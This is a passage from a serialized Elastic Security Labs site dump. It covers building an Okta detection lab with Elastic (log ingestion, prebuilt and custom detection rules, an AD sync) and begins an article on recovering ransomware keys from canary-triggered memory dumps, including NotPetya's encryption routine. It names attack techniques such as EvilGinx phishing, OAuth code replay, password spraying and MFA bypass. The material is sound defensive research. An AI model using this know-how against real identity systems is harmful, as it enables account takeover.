setup.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image12.png\",alt:\"Configure log collection\",width:\"1440\",height:\"1748\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 11: Configure log collection\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Once this information is submitted to the Okta integration setup, we can select the \\u201CConfirm incoming data\\u201D button to verify that logs are properly being ingested from the Elastic Agent.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image11.png\",alt:\"Preview data from Okta\",width:\"1440\",height:\"1094\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 12: Preview data from Okta\"})}),`\n`,(0,t.jsx)(e.p,{children:\"While we have confirmed that data is in fact being ingested from the Elastic Agent, we must also confirm that we have Okta-specific logs being ingested. I would suggest that you take a moment to pivot back to Okta and change some settings in the admin console. This will then generate Okta system logs that will eventually be extracted by our Elastic Agent and ingested into our Elastic Stack. Once completed, we can leverage the Discover feature within Kibana to search for the Okta system logs that should have been generated.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The following query can help us accomplish this - \",(0,t.jsx)(e.code,{children:\"event.dataset:okta*\"})]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image13.png\",alt:\"Use Discover to explore your Okta data\",width:\"1440\",height:\"852\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 13: Use Discover to explore your Okta data\"})}),`\n`,(0,t.jsx)(e.p,{children:\"If you have managed to find Okta logs from this, then congratulations rockstar, you have successfully completed these steps:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Signed up for Okta Workforce Identity with a trial license\"}),`\n`,(0,t.jsx)(e.li,{children:\"Deployed a trial Elastic stack via cloud.elastic.co\"}),`\n`,(0,t.jsx)(e.li,{children:\"Deployed an agent to your host of choice\"}),`\n`,(0,t.jsx)(e.li,{children:\"Created an Okta policy\"}),`\n`,(0,t.jsx)(e.li,{children:\"Setup the Okta integration\"}),`\n`,(0,t.jsx)(e.li,{children:\"Created an Okta API token\"}),`\n`,(0,t.jsx)(e.li,{children:\"Confirmed incoming data from our Elastic agent\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"enable-okta-detection-rules\",children:\"Enable Okta detection rules\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic has 1000+ pre-built detection rules not only for Windows, Linux, and macOS endpoints, but also for several integrations, including Okta. You can view our current existing Okta \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/tree/main/rules/integrations/okta\",rel:\"nofollow\",children:\"rules\"}),\" and corresponding MITRE ATT\u0026CK \",(0,t.jsx)(e.a,{href:\"https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-oktaWILDCARD.json\u0026leave_site_dialog=false\u0026tabs=false\",rel:\"nofollow\",children:\"coverage\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"To enable Okta rules, complete the following in the Elastic Stack:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Navigation menu \u003e Security \u003e Manage \u003e Rules\"}),`\n`,(0,t.jsx)(e.li,{children:\"Select \\u201CLoad Elastic prebuilt rules and timeline templates\\u201D\"}),`\n`,(0,t.jsx)(e.li,{children:`Once all rules are loaded:\na. Select \\u201CTags\\u201D dropdown\nb. Search \\u201COkta\\u201D\nc. Select all rules \u003e Build actions dropdown \u003e Enable`}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image15.png\",alt:\"Searching for Out-of-the-Box (OOB) Okta Detection Rules\",width:\"1440\",height:\"677\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 14: Searching for Out-of-the-Box (OOB) Okta Detection Rules\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"While we won\\u2019t go in-depth about exploring all rule information, we recommend \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/detection-engine-overview.html\",rel:\"nofollow\",children:\"doing so\"}),\". Elastic has additional information, such as related integrations, investigation guides, and much more! Also, you can add to our community by \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/rules-ui-create.html\",rel:\"nofollow\",children:\"creating your own\"}),\" detection rule with the \\u201CCreate new rule\\u201D button and \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules#how-to-contribute\",rel:\"nofollow\",children:\"contribute\"}),\" it to our detection rules repository.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"lets-trigger-a-pre-built-rule\",children:\"Let\\u2019s trigger a pre-built rule\"}),`\n`,(0,t.jsx)(e.p,{children:\"After all Okta rules have been enabled, we can now move on to testing alerts for these rules with some simple emulation.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For this example, let\\u2019s use the \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/integrations/okta/persistence_attempt_to_reset_mfa_factors_for_okta_user_account.toml\",rel:\"nofollow\",children:\"Attempt to Reset MFA Factors for an Okta User Account\"}),\" detection rule that comes fresh out-of-the-box (OOB) with prebuilt detection rules.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image15.png\",alt:\"Enabling an OOB Okta detection rule to test alerting\",width:\"1440\",height:\"677\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 15: Enabling an OOB Okta detection rule to test alerting\"})}),`\n`,(0,t.jsx)(e.p,{children:\"To trigger, we simply log into our Okta admin console and select a user of choice from Directory \u003e People and then More Actions \u003e Reset Multifactor \u003e Reset All.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image18.png\",alt:\"Resetting MFA for a user in Okta\",width:\"1440\",height:\"1358\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 16: Resetting MFA for a user in Okta\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Once complete, logs will be ingested shortly into the Elastic Stack, and the Detection Engine will run the rule\\u2019s query against datastreams whose patterns match \",(0,t.jsx)(e.code,{children:\"logs-okta*\"}),\". If all goes as expected, an alert should be available via the Security \u003e Alerts page in the Elastic stack.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image1.png\",alt:\"Alert page flyout for triggered OOB Okta detection rule\",width:\"1440\",height:\"602\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 17: Alert page flyout for triggered OOB Okta detection rule\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"lets-trigger-a-custom-rule\",children:\"Let\\u2019s trigger a custom rule\"}),`\n`,(0,t.jsx)(e.p,{children:\"It is expected that not all OOTB Okta rules may be right for your environment or detection lab. As a result, you may want to create custom detection rules for data from the Okta integration. Allow me to demonstrate how you would do this.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Let\\u2019s assume we have a use case where we want to identify when a unique user ID (Okta Actor ID) has an established session from two separate devices, indicating a potential web session hijack.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For this, we will rely on Elastic\\u2019s piped query language, \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/getting-started-elasticsearch-query-language\",rel:\"nofollow\",children:\"ES|QL\"}),\". We can start by navigating to Security \u003e Detection Rules (SIEM) \u003e Create new rules. We can then select ES|QL as the rule type.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image2.png\",alt:\"Create new rule Kibana page in Elastic security solution\",width:\"1440\",height:\"1181\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 18: Create new rule Kibana page in Elastic security solution\"})}),`\n`,(0,t.jsx)(e.p,{children:\"To re-create Okta system logs for this event, we would log in to Okta with the same account from multiple devices relatively quickly. For replication, I have done so via macOS and Windows endpoints, as well as my mobile phone, for variety.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following custom ES|QL query would identify this activity, which we can confirm via Discover in the Elastic Stack before adding it to our new rule.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image6.png\",alt:\"Testing ES|QL query in Elastic Discover prior to rule implementation\",width:\"1440\",height:\"447\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 19: Testing ES|QL query in Elastic Discover prior to rule implementation\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Now that we have adjusted and tested our query and are happy with the results, we can set it as the query for our new rule.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image21.png\",alt:\"Creating new custom detection rule with ES|QL query logic\",width:\"1440\",height:\"1386\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 20: Creating new custom detection rule with ES|QL query logic\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image8.png\",alt:\"Enabled custom detection rule with ES|QL query for Okta threat\",width:\"1440\",height:\"1068\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 21: Enabled custom detection rule with ES|QL query for Okta threat\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Now that our rule has been created, tested, and enabled, let\\u2019s attempt to fire an alert by replicating this activity. For this, we simply log into our Okta admin console from the same device with multiple user accounts.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As we can see, we now have an alert for this custom rule!\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image4.png\",alt:\"Triggered alert for events matching custom detection rule\",width:\"1440\",height:\"495\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 22: Triggered alert for events matching custom detection rule\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"bonus-synchronize-active-directory-ad\",children:\"Bonus: synchronize Active Directory (AD)\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"As discussed in our \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/starter-guide-to-understanding-okta\",rel:\"nofollow\",children:\"previous Okta installation\"}),\", a core service offering in Okta is to synchronize with third-party IAM directory services such as AD, Google Workspace, and others. Doing so in your lab can enable further threat detection capabilities as cross-correlation between Windows logs and Okta for users would be possible. For this article, we will step through synchronizing with AD on a local Windows Server. Note - We recommend deploying a Windows Elastic Agent to your Windows Server and setting up the \",(0,t.jsx)(e.a,{href:\"https://docs.elastic.co/en/integrations/windows\",rel:\"nofollow\",children:\"Windows\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/install-endpoint.html\",rel:\"nofollow\",children:\"Elastic Defend\"}),\" integrations for additional log ingestion.\"]}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://www.linkedin.com/pulse/how-install-active-directory-domain-services-windows-server-2019-/\",rel:\"nofollow\",children:\"Setup\"}),\" your Windows Server (we are using WinServer 2019)\"]}),`\n`,(0,t.jsx)(e.li,{children:`Deploy the Okta AD agent from your Okta admin console\na. Directory \u003e Directory Integrations\nb. Add Directory \u003e Add Active Directory`}),`\n`,(0,t.jsx)(e.li,{children:`Walk through guided steps to install Okta AD agent on Windows Server\na. Execution of the Okta Agent executable will require a setup on the Windows Server side as well`}),`\n`,(0,t.jsx)(e.li,{children:\"Confirm Okta AD agent was successfully deployed\"}),`\n`,(0,t.jsx)(e.li,{children:`Synchronize AD with Okta\na. Directory \u003e Directory Integrations\nb. Select new AD integration\nc. elect \\u201CImport Now\\u201D\nChoose incremental or full import`}),`\n`,(0,t.jsx)(e.li,{children:\"Select which users and groups to import and import them\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image10.png\",alt:\"Successful Okta agent deployment and synchronization with AD\",width:\"1440\",height:\"1374\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 23: Successful Okta agent deployment and synchronization with AD\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Once finished, under Directory in the Okta admin console, you should see people and groups that have been successfully imported. From here, you can emulate attack scenarios such as stolen login credentials locally (Windows host) being used to reset MFA in Okta.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"additional-considerations\",children:\"Additional considerations\"}),`\n`,(0,t.jsx)(e.p,{children:\"While this is a basic setup of not only the Elastic Stack, Okta integration, and more for a threat research lab, there are additional considerations for our setup that are dependent on our research goals. While we won't dive into specifics nor exhaust possible scenarios, below is a list of considerations for your lab to accurately emulate an enterprise environment and/or adversary playbooks:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Is Okta my IdP source of truth? If not, set up a third party such as Azure AD (AAD) or Google Workspace and synchronize directory services.\"}),`\n`,(0,t.jsx)(e.li,{children:\"Will I simulate adversary behavior - for example, SAMLjacking? If so, what third-party integrations do I need that leverage SAML for authentication?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Do I want to research tenant poisoning? If so, should I set up a multi-tenant architecture with Okta?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Do I need separate software, such as VPNs or proxies, to emulate attribution evasion when attempting to bypass MFA?\"}),`\n`,(0,t.jsx)(e.li,{children:\"What other tools, such as EvilGinx, let me attempt phishing playbooks, and what is the required set up in Okta for these exercises?\"}),`\n`,(0,t.jsx)(e.li,{children:\"How should I capture authorization codes during OAuth workflows, and how can I replay an exchange request for an access token?\"}),`\n`,(0,t.jsx)(e.li,{children:\"For password spraying or credential stuffing, which third-party applications should I integrate, and how many should suffice for accurate detection logic?\"}),`\n`,(0,t.jsx)(e.li,{children:\"How might I explore lax access policies for user profiles?\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"takeaways\",children:\"Takeaways\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this guide, we've successfully navigated the setup of an Okta threat detection lab using the Elastic Stack, highlighting the importance of safeguarding SaaS platforms like Okta. Our journey included deploying the Elastic Stack, integrating and testing Okta system logs, and implementing both pre-built and custom detection rules.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The key takeaway is the Elastic Stack's versatility in threat detection, accommodating various scenarios, and enhancing cybersecurity capabilities. This walkthrough demonstrates that effective threat management in Okta environments is both achievable and essential.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As we wrap up, remember that the true value of this exercise lies in its practical application. By establishing your own detection lab, you're not only reinforcing your security posture but also contributing to the broader cybersecurity community. Stay tuned for additional threat research content surrounding SaaS and Okta, where we'll explore common adversary attacks against Okta environments and detection strategies.\"})]})}function O(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(h,i)})):h(i)}var v=O;return k(A);})();\n;return Component;"},"_id":"articles/monitoring-okta-threats-with-elastic-security.mdx","_raw":{"sourceFilePath":"articles/monitoring-okta-threats-with-elastic-security.mdx","sourceFileName":"monitoring-okta-threats-with-elastic-security.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/monitoring-okta-threats-with-elastic-security"},"type":"Article","imageUrl":"/assets/images/monitoring-okta-threats-with-elastic-security/photo-edited-03.png","readingTime":"17 min read","series":"","url":"/monitoring-okta-threats-with-elastic-security","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Prerequisites","href":"#prerequisites"},{"level":2,"title":"Sign up for Okta Workforce Identity","href":"#sign-up-for-okta-workforce-identity"},{"level":2,"title":"Setting up your free cloud stack","href":"#setting-up-your-free-cloud-stack"},{"level":2,"title":"Setup Fleet from the Security Solution","href":"#setup-fleet-from-the-security-solution"},{"level":3,"title":"Create an Okta policy","href":"#create-an-okta-policy"},{"level":2,"title":"Setup the Okta integration","href":"#setup-the-okta-integration"},{"level":2,"title":"Install the Elastic Agent on an endpoint","href":"#install-the-elastic-agent-on-an-endpoint"},{"level":2,"title":"Create an Okta token","href":"#create-an-okta-token"},{"level":2,"title":"Add Okta integration requirements","href":"#add-okta-integration-requirements"},{"level":2,"title":"Enable Okta detection rules","href":"#enable-okta-detection-rules"},{"level":2,"title":"Let’s trigger a pre-built rule","href":"#lets-trigger-a-pre-built-rule"},{"level":2,"title":"Let’s trigger a custom rule","href":"#lets-trigger-a-custom-rule"},{"level":2,"title":"Bonus: synchronize Active Directory (AD)","href":"#bonus-synchronize-active-directory-ad"},{"level":2,"title":"Additional considerations","href":"#additional-considerations"},{"level":2,"title":"Takeaways","href":"#takeaways"}],"author":[{"title":"Terrance DeJesus","slug":"terrance-dejesus","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),_=(e,t)=\u003e{for(var n in t)o(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,a)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let s of f(t))!j.call(e,s)\u0026\u0026s!==n\u0026\u0026o(e,s,{get:()=\u003et[s],enumerable:!(a=d(t,s))||a.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(g(e)):{},c(t||!e||!e.__esModule?o(n,\"default\",{value:e,enumerable:!0}):n,e)),D=e=\u003ec(o({},\"__esModule\",{value:!0}),e);var u=l((F,i)=\u003e{i.exports=_jsx_runtime});var C={};_(C,{default:()=\u003ey,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Terrance DeJesus\",description:\"Senior Security Research Engineer, Elastic\",slug:\"terrance-dejesus\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function h(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var y=h;return D(C);})();\n;return Component;"},"_id":"authors/terrance-dejesus.mdx","_raw":{"sourceFilePath":"authors/terrance-dejesus.mdx","sourceFileName":"terrance-dejesus.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/terrance-dejesus"},"type":"Author","imageUrl":"","url":"/authors/terrance-dejesus"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Ransomware in the honeypot: how we capture keys with sticky canary files","slug":"ransomware-in-the-honeypot-how-we-capture-keys","date":"2024-02-23","description":"This article describes the process of capturing encryption keys from ransomware using Elastic Defend ransomware protection.","image":"photo-edited-07.png","tags":["ransomware","canary","honeypot"],"body":{"raw":"\n## TL;DR\n\n\n\n\nAt Elastic, we have bi-annual ON Weeks, where engineers break into “hack-a-thon” teams to tackle a technical challenge voted on by the team. This article presents the outcome of [yet another](https://www.elastic.co/security-labs/deep-dive-into-the-ttd-ecosystem) Elastic ON Week, where we delved into an innovative application of Elastic Endpoint ransomware protection. Our research used our existing ransomware canary protection, deployed since 7.14, to generate memory snapshots (i.e., data collections that record process information) of the process(es) identified as ransomware. Through analysis of these snapshots, our research illustrated how we could recover critical information for the forensics process and even encryption keys, allowing for complete decryption.\n\nThis process memory snapshotting mechanism was added starting with Elastic Defend 8.11, allowing DFIR teams to find memory dumps of ransomware flagged by our ransomware protection, all within Elastic Endpoint’s secure installation folder (by default, ```$ElasticInstallPath\\Endpoint\\cache\\RansomwareDumps```). \n\n## Introduction\n\nIn 2024, we don't need to explain what ransomware is or the multibillion-dollar industry it's become or explain how even companies with unlimited budgets struggle to contain or prevent it. These adversaries are mature and efficient, often outpacing security functions like forensic and malware analysis.\n\n### Current state of protection\n\nThankfully, over the years, AVs/EDRs have become increasingly better at detecting and preventing ransomware. Among the most common existing mitigations, we find: \n\n - Static and dynamic detection by signatures: this is usually performed at various levels (through hashes at a file or ELF/PE section level) and file activity (write access to files with high entropy changes) has the advantage of being easily and rapidly implemented, but are also likely to generate false positives \n - Reverse engineering: Reversing binaries can expose new ways to interfere with execution, as malware authors implement OS-level fail-safes (for instance, through Mutant objects) and/or network fail-safes (like WANNACRY) \n - Recovery backups: These are not always thoroughly tested, and even if they’re working there is a risk of data loss between the last backup and the moment of infection \n - Shadow copies: Somewhat similar to recovery backups, ransomware usually actively locates and attempts to destroy them prior to encrypting files on a system \n - High entropy and rapid file change: This approach is purely experimental and attempts to detect drastic changes in the file content as an indicator of encryption, however, this is also very false positive (FP) prone\n - Last cryptography weakness: By far the most complex mitigation, as it requires reverse engineering and cryptographic knowledge, but also luck as adversaries hope that the author rolls their own crypto API (see Elastic's Mark Mager [2019 DEFCON talk](https://youtu.be/0TF9NLsGCHA) for some examples); this approach can’t work against modern OS native cryptographic APIs as long as they’re properly implemented according to documentation\n\n### How ransomware (usually) works, and why it matters\n\nIt is imperative that we know both what we're protecting against and how it internally operates to be effective. This diverse nature underlines that there may never be a universal solution to combat all ransomware strains. Understanding this diversity also emphasizes the importance of our technique, which provides significant insights about ransomware.\n\nFrom a high level, the sequence of actions that ransomware executes is usually summarized as such:\n\n 1. **Delivery**: this can be done in several ways, from social engineering to 0-day/1-day vulnerability exploitation. This approach can also rely on weak passwords to remotely infect targets.\n 2. **C2 Communication**: once the execution starts, the ransomware may communicate with the C2 to exchange configuration and share information about the victim. This step can also leave room for the C2 to have a kill switch in place, preventing further infection\n 3. **Encryption**: after establishing a cryptographic context, the process recursively browses the file system, looks for files with specific extensions, and encrypts them.\n 4. **Extortion**: after sharing the decryption keys with the C2, the ransomware will drop a ransom note and (usually very visibly) notify the infected user of its actions and ways to obtain the decryption key. At that point, all cryptographic context allowing recovery may already be lost \n 5. **Propagation**: if possible, the ransomware may try to infect more systems automatically.\n\nHowever, looking at it at a lower level reveals that ransomware operates quite uniquely: for example, focusing on the delivery step, the notorious [WANNACRY ransomware](https://www.cisa.gov/sites/default/files/FactSheets/NCCIC%20ICS_FactSheet_WannaCry_Ransomware_S508C.pdf) spread via a vulnerability in the Windows operating system, known as [EternalBlue](https://arstechnica.com/information-technology/2017/04/nsa-leaking-shadow-brokers-just-dumped-its-most-damaging-release-yet/); whereas [LOCKBIT](https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit) variants tend to infect using phishing emails, exploit kits, or by leveraging compromised Remote Desktop Protocol (RDP) credentials. \n\nDuring this research, it was mostly the 3rd step that interested us as it is usually where detection and prevention can be most effective, such as with our canary protection.\n\n### Understanding the Canary files feature in Elastic Endpoint \n\nOriginating in Elastic 7.14, Elastic Endpoint ransomware protection uses [canary files](https://www.elastic.co/blog/deterring-ransomware-for-state-and-local-government) with the purpose of attempting to honeypot ransomware by (over-)writing some specific files. This provides a high confidence indicator that the culprit process is attempting to encrypt all files.\n\nA canary file acts and looks exactly like any other file - it can have valid content (DOCX, PDF, etc.), hidden, or marked as a system file to avoid user tampering. However, canary files cannot be “fingerprinted” and avoided by ransomware. All of these factors lead to a robust indicator for ransomware access.\n\nEven though canary files are very successful in providing indicators for ransomware, it is hard to be certain on Windows systems that no file has been encrypted *before* the detection (and, if wanted, termination) occurs. This is not a product defect, it is due to the very structure of how MiniFilters work on Windows. Therefore, even though the attack is thwarted, some files may have been encrypted. Worse, if the process is terminated, the possibility of retrieving the original content may be completely lost.\n\nAnd this is where our ON Week research began…\n\n## Extending our canary protection to generate process snapshots\n\n### The basic underlying concept\n\nThe idea behind this first research was as follows:\n - At the kernel level, detect write access attempts to a file with a specific name (our canary)\n - From userland, generate a process dump of the culprit process attempting the write operation and signal the driver to continue execution as designed\n - Analyze process dumps\n\nWith ON Week being limited to one week, this is the initial time frame we had for developing a prototype. \n\n### Implementation\n\n#### In kernel land\n\nDeveloping a MiniFilter driver to monitor write access to files with specific names went relatively easily following the well-documented [MiniFilter API documentation](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/_ifsk/):\n \n 1. Declare the filter table containing the callbacks we want to install, one for write access when invoking ```NtWriteFile()```, and another for when attempting to write to a mapped section\n\n\n\n\n 2. Create and register the filter, including the file name pattern to monitor and start filtering:\n \n\n_Image 2: Declaring a filename pattern to inspect for the MiniFilter driver_\nOnce our filter is registered to the Filter Manager, write accesses will go through our driver’s callbacks when specific syscalls are triggered: by ```NtWriteFile``` when a process attempts to write a buffer to a file, or by ```NtCreateSection()``` when a process to create a section with file-backed mappings with write access (```SECTION_MAP_WRITE```)\n\n\n\n\nAs we can see either action will result in the invoking process being suspended (call to our function ```SuspendProcessById```) allowing a userland process to snapshot its memory. The following video summarizes all those steps:\n\n\n\n\n### In user land\n\nGenerating memory dumps is a robust mechanism well anchored into Windows and a significant part of its Error Reporting mechanism - or [WER](https://learn.microsoft.com/en-us/windows/win32/wer/windows-error-reporting). Through simple and explicit API calls, like [```MiniDumpWriteDump```](https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump) any user or program may dump (if permission permits) the complete memory layout and content of a target process, along with more information depending on flags passed during invocation such as:\n - handle information\n - thread information\n - unloaded module details and more\n\nA complete reference list of available types can be consulted [here](https://github.com/Skulltrail192/One-Core-Api/blob/76729f2108c2afca24d89efc92b814a07b92a62e/dll/win32/dbghelp/compat.h#L914-L931).\n\nWe decided to use memory dumps, designed for debugging software, to extend our ransomware protection feature's existing canary file capabilities. When ransomware is detected, we generate a complete memory dump before the process is terminated. Using memory dumps against malware has tremendous advantages, including:\n - Revealing the process memory layout, which is particularly useful when packing has obscured the memory regions\n - Disclosing all memory contents of the process as it is running, including unwiped memory regions since Windows does not immediately erase memory for performance reasons \n - Providing stable and safe ways to experiment against malware through emulation\n\n\n\n\nVery quickly, we had a stable and reliable way to detect canary write access and generate complete memory dumps of the ransomware triggering them. Due to time constraints, we selected two popular families to test the analysis phase of our project: NOTPETYA and WANNACRY.\n\nThe prototype code can be found [here](https://github.com/calladoum-elastic/canary-driver) and is not intended for production use. Please experiment at your own risk, using non-production systems.\n\n### Real-life examples\n\n#### Recovering keys from process runtime: the case of NOTPETYA\n\nWhy NOTPETYA? It was a good first candidate because it encrypts all files with one random session key. It also uses strong cryptography:\n - RSA-1024 for the host-level asymmetric encryption key\n - A unique AES-128 CBC key used for encrypting the files\n\nUsing the driver and agent crafted above, we could easily have NOTPETYA (SHA1 [`027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745`](https://www.virustotal.com/gui/file/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745)) run in a contained environment and get a process minidump at a very predictable runtime location. \n\nOur current design causes the driver to capture the writes synchronously, so we know exactly where we are in the process runtime when analyzing dump files. However, we still needed some reverse engineering to learn exactly how the session keys were generated.\n\nReversing this NOTPETYA DLL proved to be straightforward, which helped us move quickly: \n - After some initial checks, the DLL attempts to iterate through all the possible drive letters, and for each match (i.e., the letter - such as `C:\\` exists) a `0x20` thread context will be created to proceed with the encryption\n\n\n\n\n - Each thread initializes its own cryptographic context using the Microsoft CryptoAPI; we note the use of AES-CBC 128 bits\n \n\n\n\n - Encrypts the files recursively (with a maximum recursion level of 15), dropping the ransom message and destroying the cryptographic context\n\n\n\n\n - The file encryption itself is performed using file-backed mappings to overwrite files of specifically targeted extensions:\n\n\n\n\nThis leaves us 